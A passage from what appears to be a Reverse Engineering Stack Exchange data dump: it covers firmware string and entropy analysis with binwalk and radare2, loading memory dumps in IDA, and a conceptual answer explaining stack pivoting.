|...$0H`l.......$|&#xA;0006ee68  b0 48 60 6c 00 00 00 00  00 00 00 00 00 00 00 00  |.H`l............|&#xA;0006ee78  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;0006eea8  00 00 00 00 03 00 00 00  14 00 00 00 0a 00 00 00  |................|&#xA;0006eeb8  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|&#xA;*&#xA;0006f2b8  00 00 00 00 00 10 00 00  80 00 08 00 08 08 08 00  |................|&#xA;0006f2c8  04 41 10 00 84 10 42 00  22 22 22 00 12 91 48 00  |.A....B.&quot;&quot;&quot;...H.|&#xA;0006f2d8  12 49 92 00 92 24 49 01  52 4a 4a 01 4a a5 4a 01  |.I...$I.RJJ.J.J.|&#xA;0006f2e8  aa 52 55 01 55 ad aa 00  b5 5a b5 00 ad b5 b5 00  |.RU.U....Z......|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are quite a few null bytes and repeated characters following the offset of the detected LZMA compression signature. Given that compressed regions have high entropy, this indicates quite strongly that the detected signature was a false positive.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;4. strings&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Running &lt;code&gt;strings&lt;/code&gt; on a binary can actually be used as a quick heuristic for determining whether the binary is obfuscated. If the binary is obfuscated, the output of &lt;code&gt;strings -n 8 &amp;lt;binary&amp;gt;&lt;/code&gt; will look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;}O.x|XsC&#xA;r@G8F2Qb&#xA;XL6%W(oO2&#xA;Ev]1m;[x&#xA;O[6.P&amp;amp;n&amp;gt;&#xA;)&quot;VEg}6j&#xA;~uT/r]rJ&#xA;r5e?I+4[&#xA;UkzZT.&quot;DM&#xA;3ZJd{itt&#xA;Ba7=2X`N &#xA;[:}@8lW%&#xA;27      ]6cr0&#xA;/Ob4cNQBmg.4\)j&#xA;3F&amp;gt;go5pM&#xA;*0kJu|{@&#xA;:uB-c9Qq&#xA;YoO[p.1w&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;An obfuscated binary will contain many meaningless sequences of random ASCII characters and very few or no human-readable strings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fortunately, in the case of &lt;code&gt;firmware.bin&lt;/code&gt; running the &lt;code&gt;strings&lt;/code&gt; produces a wealth of information due to the high number of hardcoded strings in the binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ strings -n 8 firmware.bin | cat -n | tail&#xA;  1966  marvel-wlan-xxx&#xA;  1967  %&amp;amp;'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz&#xA;  1968  &amp;amp;'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz&#xA;  1969  !%/(!#,#&#xA;  1970  )7),02454 '9=93=/342    &#xA;  1971  &quot;22222222222222222222222222222222222222222222222222&#xA;  1972  08/12/2013 12:08:32&#xA;  1973  [mRFS-?]: &#xA;  1974  gr&amp;amp;gr&amp;amp;b'&#xA;  1975  nffffffff&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Pathnames:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    .&#xA;    .&#xA;    .&#xA;application/src/garfield/md.c&#xA;application/src/garfield/taskq.c&#xA;application/src/garfield/ucos_api.c&#xA;application/src/garfield/utils.c&#xA;lwip-1.4.1/src/core/dhcp.c&#xA;lwip-1.4.1/src/core/dns.c&#xA;lwip-1.4.1/src/core/mem.c&#xA;lwip-1.4.1/src/core/memp.c&#xA;lwip-1.4.1/src/core/netif.c&#xA;lwip-1.4.1/src/core/pbuf.c&#xA;lwip-1.4.1/src/core/raw.c&#xA;lwip-1.4.1/src/core/tcp.c&#xA;lwip-1.4.1/src/core/tcp_in.c&#xA;lwip-1.4.1/src/core/tcp_out.c&#xA;lwip-1.4.1/src/core/timers.c&#xA;lwip-1.4.1/src/core/udp.c&#xA;lwip-1.4.1/src/core/ipv4/icmp.c&#xA;lwip-1.4.1/src/core/ipv4/ip.c&#xA;lwip-1.4.1/src/core/ipv4/ip_addr.c&#xA;lwip-1.4.1/src/core/ipv4/ip_frag.c&#xA;lwip-1.4.1/src/netif/etharp.c&#xA;lwip-1.4.1/src/netif/wlan_netif.c&#xA;lwip-1.4.1/src/api/api_lib.c&#xA;lwip-1.4.1/src/api/api_msg.c&#xA;lwip-1.4.1/src/api/netbuf.c&#xA;lwip-1.4.1/src/api/netdb.c&#xA;lwip-1.4.1/src/api/sockets.c&#xA;lwip-1.4.1/src/api/tcpip.c&#xA;crypto/src/wmcrypto_mem.c&#xA;libjfg/src/http.c&#xA;libjfg/src/msgpack_rpc.c&#xA;libjfg/src/ntp.c&#xA;libjfg/src/polling.c&#xA;libp2p/src/p2p.c&#xA;src/mrfs/mRfsDevice.c&#xA;src/mrfs/mRfsRetrieval.c&#xA;src/mrfs/mRfsSystem.c&#xA;    .&#xA;    .&#xA;    .&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hardcoded URLs&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;yun.jfgou.com&#xA;http://yun.jfgou.com:8080/package/camera/jiafeigou_2.3.0.8.bin&#xA;http://192.168.101.6:8000/ring.pcmu&#xA;jfg_debug: jfg_rtmp_connect(rtmp://10.0.1.19/live/sample)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Hardcoded IP addresses&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2.4.6.19&#xA;208.67.222.222&#xA;83.163.209.244&#xA;206.108.0.131&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;A user agent string&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;the kernel&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ucos start...&#xA;jfg_debug: ucos_sys_stat()&#xA;application/src/garfield/ucos_api.c&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;camera sensor part numbers&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;camera sensor:PAS7366(8830),HW Version:V1!&#xA;camera sensor:PAS6375, HW Version:V2!&#xA;camera sensor:BF3006, HW Version:V3!&#xA;camera sensor:H7440H, HW Version:V4!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;manufacturer name&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jiafeigou&#xA;Jiafeigou Startup !!&#xA;Cylan-jfg-aes-password-prefix-%.*s%s&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since the manufacturer is a Chinese company, searching for unicode character sequences with radare2 may reveal potentially relevant information that would not be displayed in a conventional hex dump:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x00000000]&amp;gt; izz | grep wide&#xA;vaddr=0x00004918 paddr=0x00004918 ordinal=011 sz=76 len=37 section=unknown type=wide string=,%≄脾&amp;lt;&quot;≄胼⅀Á⃠߁⍀Ã₨ƀᄁʄᬁĊ†߀ᄄȄᄄȅᬄĈߔ￡ᬄň≄胼ᄄȄ߉&#xA;vaddr=0x00006e22 paddr=0x00006e22 ordinal=049 sz=14 len=6 section=unknown type=wide string=H\rᘐ᠐♀ᐁ&#xA;vaddr=0x000078a3 paddr=0x000078a3 ordinal=072 sz=18 len=8 section=unknown type=wide string=pÙ惚䩿쥳ѰÙϚ&#xA;vaddr=0x00009749 paddr=0x00009749 ordinal=155 sz=42 len=20 section=unknown type=wide string=yØ怜艸쨠쨇樠᐀ʸ谠輏ÿ怜【耠炏&#xA;vaddr=0x0000a980 paddr=0x0000a980 ordinal=199 sz=50 len=24 section=unknown type=wide string=P\t⚌郌⚌遌鮀䫴⚌逘⚌遘ኾༀ&#xA;vaddr=0x0000ae87 paddr=0x0000ae87 ordinal=216 sz=24 len=11 section=unknown type=wide string=\bÙ⋛耠脏鲛嫲Ò⋛耠脏&#xA;vaddr=0x0000b09b paddr=0x0000b09b ordinal=220 sz=16 len=7 section=unknown type=wide string=p@鸀䖺䋶ƺ興&#xA;vaddr=0x0000c6b1 paddr=0x0000c6b1 ordinal=314 sz=46 len=22 section=unknown type=wide string=xÙ耤ꠄ쀠⼁Ȥ삥ԡᬀ䁸耩ᨂb脡⨠횹䐟䈐䌢 ģ&#xA;vaddr=0x0000d5a8 paddr=0x0000d5a8 ordinal=351 sz=10 len=4 section=unknown type=wide string=@\vฏ玃&#xA;vaddr=0x0000dfcf paddr=0x0000dfcf ordinal=381 sz=20 len=9 section=unknown type=wide string=eà诚窺Ɫ貺켢쪏蘡&#xA;vaddr=0x0000fcf3 paddr=0x0000fcf3 ordinal=475 sz=28 len=13 section=unknown type=wide string=yØ怜荾쫠樠儀䃶Ȩ々耢ႏ&#xA;vaddr=0x0000fd1b paddr=0x0000fd1b ordinal=476 sz=28 len=13 section=unknown type=wide string=yØ怜荾쫠樠刀䃶Ȩ々耢ႏ&#xA;vaddr=0x0000fd45 paddr=0x0000fd45 ordinal=477 sz=30 len=14 section=unknown type=wide string=yØ怜荸쫠樠刀䃶Ȩ々耢ႏ&#xA;vaddr=0x0000fd71 paddr=0x0000fd71 ordinal=478 sz=30 len=14 section=unknown type=wide string=yØ怜荸쫠樠刀䃶Ȩ々耢ႏ&#xA;vaddr=0x0000fd9d paddr=0x0000fd9d ordinal=479 sz=16 len=7 section=unknown type=wide string=yØ怜ླྀ팈&#xA;vaddr=0x0000fe51 paddr=0x0000fe51 ordinal=480 sz=46 len=22 section=unknown type=wide string=yØ怜荸쫠樠倀䃶Ȩ々耢ႏⲙȀ谢푦⛿x“&#xA;vaddr=0x0000ff99 paddr=0x0000ff99 ordinal=482 sz=46 len=22 section=unknown type=wide string=yØ怜荸쫠樠倀䃶Ȩ々耢ႏ䲙Ȁ谢둦⛿x“&#xA;vaddr=0x000137d7 paddr=0x000137d7 ordinal=667 sz=18 len=8 section=unknown type=wide string=0Ø脡ƀ쀠ꠀ䀜갰&#xA;vaddr=0x00015062 paddr=0x00015062 ordinal=727 sz=28 len=13 section=unknown type=wide string=X\f蘥蜆牊砢蘦愙瀪煢•ྀ鮀&#xA;vaddr=0x00016e65 paddr=0x00016e65 ordinal=843 sz=10 len=4 section=unknown type=wide string=\a!䈄什&#xA;vaddr=0x000170d3 paddr=0x000170d3 ordinal=851 sz=20 len=9 section=unknown type=wide string=&quot;#䄧줔≲耠耏킛丈&#xA;vaddr=0x0001c948 paddr=0x0001c948 ordinal=1244 sz=76 len=37 section=unknown type=wide string=,%≄脾&amp;lt;&quot;≄胼⅀Á⃠߁⍀Ã₨ƀᄁʄᬁĊ†߀ᄄȄᄄȅᬄĈߔ￡ᬄň≄胼ᄄȄ߉&#xA;vaddr=0x0001c9c5 paddr=0x0001c9c5 ordinal=1246 sz=106 len=52 section=unknown type=wide string=sÁ䃚ꆩ퇀ˀ耏ꇅ䃁࿀⣐䑲藁ໃ怏謀qÁꃝ⒩믜态ꄂ㫀䀉ࠂ䡶婢ﵰeØ覭态ꀂﱸ膉ዀ䀉&#xA;    .&#xA;    .&#xA;    .&#xA;vaddr=0x000240d1 paddr=0x000240d1 ordinal=1668 sz=12 len=5 section=unknown type=wide string=rÙ⊅耠舏&#xA;vaddr=0x00024e4b paddr=0x00024e4b ordinal=1801 sz=10 len=4 section=unknown type=wide string= Á䀘ꄠ&#xA;vaddr=0x00027841 paddr=0x00027841 ordinal=1914 sz=36 len=17 section=unknown type=wide string=x!ȡ　脢/㠀耏쫡愠!耀쳢∠&#xA;vaddr=0x00027f90 paddr=0x00027f90 ordinal=1933 sz=38 len=18 section=unknown type=wide string=n§¾ùª阜ǲ,瞺睚♀Ἅ⪄☃甧ᕀႃ&#xA;vaddr=0x0002c3b9 paddr=0x0002c3b9 ordinal=2352 sz=72 len=35 section=unknown type=wide string=\aØƭƍǠ­₍耠脏鲛큸蚘㲛薁䢛苼棅ﳘÙ⋚耠耏ﵪ࿙桽Ø⋚耠耏鑪&#xA;vaddr=0x0002eb5d paddr=0x0002eb5d ordinal=2488 sz=48 len=23 section=unknown type=wide string=!!ⱳƈⳡᆨÐ⊀耠舏풛꼪Ž췥舍膓지≱耠舏璛᪓p&#xA;vaddr=0x0002fc3c paddr=0x0002fc3c ordinal=2528 sz=10 len=4 section=unknown type=wide string=0%瘨팑&#xA;vaddr=0x00032899 paddr=0x00032899 ordinal=2640 sz=38 len=18 section=unknown type=wide string=x¦ᶇꁥƧ⃘耠脏鲛ꇓ⋀耠脏㢛⣓䡶䁵&#xA;vaddr=0x000341cd paddr=0x000341cd ordinal=2726 sz=12 len=5 section=unknown type=wide string=q©Ɔà憦&#xA;vaddr=0x000341ef paddr=0x000341ef ordinal=2727 sz=42 len=20 section=unknown type=wide string=q©Ɔà¦䏘ೀ⃰Ɔ൩Ԉ〄苘q©憆ƽà匍&#xA;vaddr=0x0003422b paddr=0x0003422b ordinal=2728 sz=64 len=31 section=unknown type=wide string=q©Ɔàᮦ諰쥰≲耠萏쒛፳⃰Ɔᝩ┈䈄刢 耤⠴쀐舀q©Ɔàʦ旀匈&#xA;vaddr=0x0003427d paddr=0x0003427d ordinal=2729 sz=10 len=4 section=unknown type=wide string=q©Ɔà&#xA;vaddr=0x00034293 paddr=0x00034293 ordinal=2730 sz=110 len=54 section=unknown type=wide string=q©䊆嘦Ġà匎㦠䌏—Ɔᕩ┈䈄儡 䀤吴쀐舀q©Ɔàꏱ刊䪠Ͱ⋙耠脏ﲛ짓꿩◱刍†Ɔᕩ┈䈄唥 䀤耵쀐舀q©Ɔà&#xA;vaddr=0x0003430f paddr=0x0003430f ordinal=2731 sz=48 len=23 section=unknown type=wide string=q©ƆàƦ胱Ȥ‱耠脏䲛⋀耠脏ႛꯓ嫁⡰究ᩲ衳&#xA;vaddr=0x000345d3 paddr=0x000345d3 ordinal=2741 sz=50 len=24 section=unknown type=wide string=rªƁǥàልₐ耠脏鲛䩸虎螛䄠ࠅ葱ġ䄌ĩ厁술Ѐ&#xA;vaddr=0x00035493 paddr=0x00035493 ordinal=2778 sz=38 len=18 section=unknown type=wide string=1Ø䃙숧ਗ$∄耠茏袛ග⇱ÒØ⋙耠茏袛&#xA;vaddr=0x00037c3e paddr=0x00037c3e ordinal=2958 sz=10 len=4 section=unknown type=wide string=0,眈팷&#xA;vaddr=0x0003812c paddr=0x0003812c ordinal=2973 sz=10 len=4 section=unknown type=wide string=6\t₌胄&#xA;vaddr=0x000382a8 paddr=0x000382a8 ordinal=2978 sz=10 len=4 section=unknown type=wide string=2\t₌脄&#xA;vaddr=0x0003ab89 paddr=0x0003ab89 ordinal=3169 sz=10 len=4 section=unknown type=wide string= Ø蘐䐠&#xA;vaddr=0x0003e2f9 paddr=0x0003e2f9 ordinal=3426 sz=22 len=10 section=unknown type=wide string=\aØ⋙耠蔏鲛Ⰺ᧰Ò惘&#xA;vaddr=0x0003f6b3 paddr=0x0003f6b3 ordinal=3514 sz=134 len=66 section=unknown type=wide string=p\e䀠ᐣ琦⋕耠茏璛瓶䃖ᄠᐄဒ⠠ᜒꤠⁱᘒ訠聰䌡꤀恲聾䈢ࠏ艷ꥰ聱䌡꤀恲聾䌢ἁg'ꤕ聱䌡꤀恲聾䌢ἁg'ꤕ聱茡ꨁ恲聾ढ艠ꥰ聱茡嘂舡ਪੳ쀤怅&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This may or may not be meaningful information. I can't tell.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Conclusion&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The point of all of this is to show that signature-based scans have a tendency to produce false positives and also do not detect quite a bit of interesting information contained in firmware binaries (given that they are not obfuscated), and that tools are not a replacement for the brain. Even if a scan produces no output at all there may still be useful information to be found using other methods. There several tools and techniques that can be used to extract interesting or useful information, and one should not become overly reliant on a single tool or method or implicitly trust a tool's output.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;p.s.&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Double-check your version of &lt;code&gt;binwalk&lt;/code&gt; to see if it is up-to-date.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ md5sum firmware.bin&#xA;5b36cb0905c92a746dc561b03eed570e  firmware.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Binwalk v2.1.1 output for firmware.bin (note the absence of an LZMA compression signature):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk firmware.bin&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------&#xA;381183        0x5D0FF         Unix path: /src/rtpserver/cache/h264_rtp_cache.c&#xA;381294        0x5D16E         Unix path: /src/rtpserver/cache/rtp_node.c&#xA;384272        0x5DD10         Base64 standard index table&#xA;411209        0x64649         Unix path: /src/core/ipv4/icmp.c&#xA;411537        0x64791         Unix path: /src/core/ipv4/ip.c&#xA;411657        0x64809         Unix path: /src/core/ipv4/ip_addr.c&#xA;411725        0x6484D         Unix path: /src/core/ipv4/ip_frag.c&#xA;428268        0x688EC         Base64 standard index table&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2017-04-16T19:31:12.917" LastActivityDate="2017-04-16T19:31:12.917" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15117" PostTypeId="1" CreationDate="2017-04-07T02:30:50.193" Score="0" ViewCount="2489" Body="&lt;p&gt;ive recently dumped a few mem page sections of a possibly malicious dll. However, I can't analyze the files correctly since i don't know how to allign all the sections correctly for analysis at once in IDA. I can analyze them individually but many values are displayed in red under names like v123456789. Can someone guide me in the right direction? &lt;/p&gt;&#xA;" OwnerUserId="19717" LastActivityDate="2017-04-07T10:21:15.483" Title="Fixing dump files in ida" Tags="|ida|dumping|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15118" PostTypeId="1" AcceptedAnswerId="15135" CreationDate="2017-04-07T09:42:16.827" Score="3" ViewCount="1999" Body="&lt;p&gt;i have tried almost all links about batch mode.&#xA;My Question is that i did not get the user manual about batch mode of ida pro that how can i use the commands like -c -A -B and how i can run script on on any file with batch or terminal mode commands&#xA;and what the use of idag, idaw&lt;/p&gt;&#xA;" OwnerUserId="19702" LastActivityDate="2018-09-11T14:54:38.323" Title="Batch mode of ida pro 6.5" Tags="|ida|disassembly|idapython|ida-plugin|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15119" PostTypeId="2" ParentId="15117" CreationDate="2017-04-07T10:21:15.483" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;If possible, please try to dump modules together.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If that is not possible, load any of them in IDA and go to &lt;code&gt;File -&amp;gt; Load file -&amp;gt; Additional binary file&lt;/code&gt; to load each file one after another. After selecting the file, IDA will display the following dialog:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/sLDPj.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sLDPj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here you have to make sure that each part is loaded at the right offset.&lt;/p&gt;&#xA;" OwnerUserId="3162" LastActivityDate="2017-04-07T10:21:15.483" CommentCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="15120" PostTypeId="1" AcceptedAnswerId="15121" CreationDate="2017-04-07T16:41:14.963" Score="0" ViewCount="141" Body="&lt;p&gt;I am reading up a writeup on an example attack &lt;a href=&quot;https://translate.google.com/translate?sl=auto&amp;amp;tl=en&amp;amp;js=y&amp;amp;prev=_t&amp;amp;hl=en&amp;amp;ie=UTF-8&amp;amp;u=https%3A%2F%2Fwww.lxpark.com%2Fctf%2Fpwnable-kr-unlink-writeup&amp;amp;edit-text=&amp;amp;act=url&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt; where I have come across the technique called &lt;code&gt;stack migration&lt;/code&gt;. The page is translated to English. Googling doesn't give me any fruitful pointer on the technique itself. Is &lt;code&gt;stack migration&lt;/code&gt; a standard attack technique? If so, pointers would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="13634" LastEditorUserId="60" LastEditDate="2017-04-07T17:33:41.043" LastActivityDate="2017-04-07T17:33:41.043" Title="Is stack migration a standard attack technique?" Tags="|exploit|stack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15121" PostTypeId="2" ParentId="15120" CreationDate="2017-04-07T17:32:13.550" Score="3" Body="&lt;p&gt;I don't know Chinese but It seems the post describes &lt;em&gt;stack pivoting&lt;/em&gt;. It is a technique used in cases where you can't control the contents of the actual stack used by the target but can change the stack pointer to point into some other memory area you control (e.g. heap). For example, &lt;a href=&quot;http://hypervsir.blogspot.com/2015/01/a-software-solution-to-defend-against.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;this blog post&lt;/a&gt; explains:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;With stack pivoting, attacks can pivot from the real stack to a fake&#xA;stack which could be an attacker-controlled buffer, such as the heap,&#xA;then attackers can control the program execution. For example, this is&#xA;achieved by controlling data pointed to by RSP(stack pointer&#xA;register), such that each ret instruction results in incrementing RSP&#xA;and transferring execution to the next address chosen by attackers.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So yes, it's a real and common technique, you just used not the best translation :)&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2017-04-07T17:32:13.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15123" PostTypeId="2" ParentId="15110" CreationDate="2017-04-07T20:16:57.630" Score="1" Body="&lt;p&gt;You are actually asking multiple questions here :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If you checked &quot;Manual Load&quot; when creating your IDB, and answered &quot;Yes&quot; when IDA asks you if you want to load the header, you should have a &quot;HEADER&quot; section with the header data in it as your first Segment. This is pretty generic and should work for any binary format.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I do believe that the other sections of the ELF might be loaded that way if you answer &quot;Yes&quot; when IDA asks you if you want to parse the header.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To get the base address of your programm, you can use the IDAPython call &lt;em&gt;get_imagebase()&lt;/em&gt; but that should be your first section anyway in most binary formats (that is, if you loaded the header)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If you have loaded the header, you can read it directly from IDA using your usual IDAPython functions.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="8679" LastEditorUserId="8679" LastEditDate="2017-09-05T17:14:42.453" LastActivityDate="2017-09-05T17:14:42.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15124" PostTypeId="2" ParentId="3636" CreationDate="2017-04-08T02:43:14.507" Score="1" Body="&lt;p&gt;&lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/15088/lzma-file-format-not-recognized-details-enclosed/15116#15116&quot;&gt;&lt;strong&gt;Always verify the results of a signature scan before attempting extraction.&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are no LZMA-compressed regions in this binary. Here is the output of a signature scan using &lt;code&gt;binwalk&lt;/code&gt; v2.1.1:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk FW96650A.bin&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;167266        0x28D62         Unix path: /15/20/24/25/30/60/120/240fps can be served..&#xA;279206        0x442A6         Copyright string: &quot;Copyright (c) 2012 Novatek Microelectronic Corp.&quot;&#xA;2158492       0x20EF9C        JPEG image data, JFIF standard 1.02&#xA;2195060       0x217E74        MySQL ISAM compressed data file Version 6&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here are the results of the entropy analysis:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/AG4e3.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/AG4e3.png&quot; alt=&quot;Entropy scan&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk -E FW96650A.bin&#xA;&#xA;DECIMAL       HEXADECIMAL     ENTROPY&#xA;--------------------------------------------------------------------------------&#xA;0             0x0             Falling entropy edge (0.574748)&#xA;2158592       0x20F000        Rising entropy edge (0.963265)  &amp;lt;-- JPEG image&#xA;2170880       0x212000        Rising entropy edge (0.981137)&#xA;2179072       0x214000        Falling entropy edge (0.708192)&#xA;2363392       0x241000        Falling entropy edge (0.846409)&#xA;2426880       0x250800        Falling entropy edge (0.848443)&#xA;2496512       0x261800        Rising entropy edge (0.974327)&#xA;2510848       0x265000        Rising entropy edge (0.968564)&#xA;2525184       0x268800        Falling entropy edge (0.764579)&#xA;2529280       0x269800        Rising entropy edge (0.953455)&#xA;2533376       0x26A800        Falling entropy edge (0.717140)&#xA;2537472       0x26B800        Rising entropy edge (0.966682)&#xA;2543616       0x26D000        Rising entropy edge (0.953760)&#xA;2545664       0x26D800        Falling entropy edge (0.763122)&#xA;2588672       0x278000        Rising entropy edge (0.960725)&#xA;2592768       0x279000        Rising entropy edge (0.967902)&#xA;2603008       0x27B800        Rising entropy edge (0.966048)&#xA;2609152       0x27D000        Rising entropy edge (0.973450)&#xA;2617344       0x27F000        Falling entropy edge (0.749652)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are some regions of high entropy, but nothing indicating LZMA compression.&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.430" LastActivityDate="2017-04-08T02:43:14.507" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15125" PostTypeId="2" ParentId="13948" CreationDate="2017-04-08T05:05:48.400" Score="5" Body="&lt;p&gt;&lt;strong&gt;Download link:&lt;/strong&gt; &lt;a href=&quot;http://www.linksys.com/pl/support-article?articleNum=156227&quot; rel=&quot;nofollow noreferrer&quot;&gt;WAG120N Downloads&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Firmware binary:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ md5sum WAG120N-EU-ANNEXB-ETSI-1.00.19-code.bin&#xA;52d6fa830e31ff96289f8aa41ac713af  WAG120N-EU-ANNEXB-ETSI-1.00.19-code.bin&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Version:&lt;/strong&gt; Annex B - Version:  1.00.19 (ETSI) Latest Date:  11/17/2014&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Signature scan output:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ binwalk WAG120N-EU-ANNEXB-ETSI-1.00.19-code.bin&#xA;&#xA;DECIMAL       HEXADECIMAL     DESCRIPTION&#xA;--------------------------------------------------------------------------------&#xA;9660          0x25BC          U-Boot version string, &quot;U-Boot 1.1.5-2.0 (Jul 22 2009 - 14:05:28)&quot;&#xA;9708          0x25EC          CRC32 polynomial table, big endian&#xA;11012         0x2B04          uImage header, header size: 64 bytes, header CRC: 0xF5170888, created: 2009-07-22 06:05:29, image size: 47540 bytes, Data Address: 0x80400000, Entry Point: 0x80400000, data CRC: 0x84EF8694, OS: Linux, CPU: MIPS, image type: Firmware Image, compression type: lzma, image name: &quot;u-boot image&quot;&#xA;11076         0x2B44          LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 147212 bytes&#xA;65434         0xFF9A          Sercomm firmware signature, version control: 1, download control: 256, hardware ID: &quot;YQZ&quot;, hardware version: 0x0, firmware version: 0x9, starting code segment: 0x100, code size: 0x7300&#xA;65497         0xFFD9          Sercomm firmware signature, version control: 0, download control: 0, hardware ID: &quot;&quot;, hardware version: 0x0, firmware version: 0x2700, starting code segment: 0x1A9C, code size: 0x3D0&#xA;72028         0x1195C         Sercomm firmware signature, version control: 29184, download control: 24933, hardware ID: &quot;d ok..!!&quot;, hardware version: 0x7266, firmware version: 0x2578, starting code segment: 0xA78, code size: 0x0&#xA;196608        0x30000         uImage header, header size: 64 bytes, header CRC: 0xED45C533, created: 2014-11-04 09:41:33, image size: 577083 bytes, 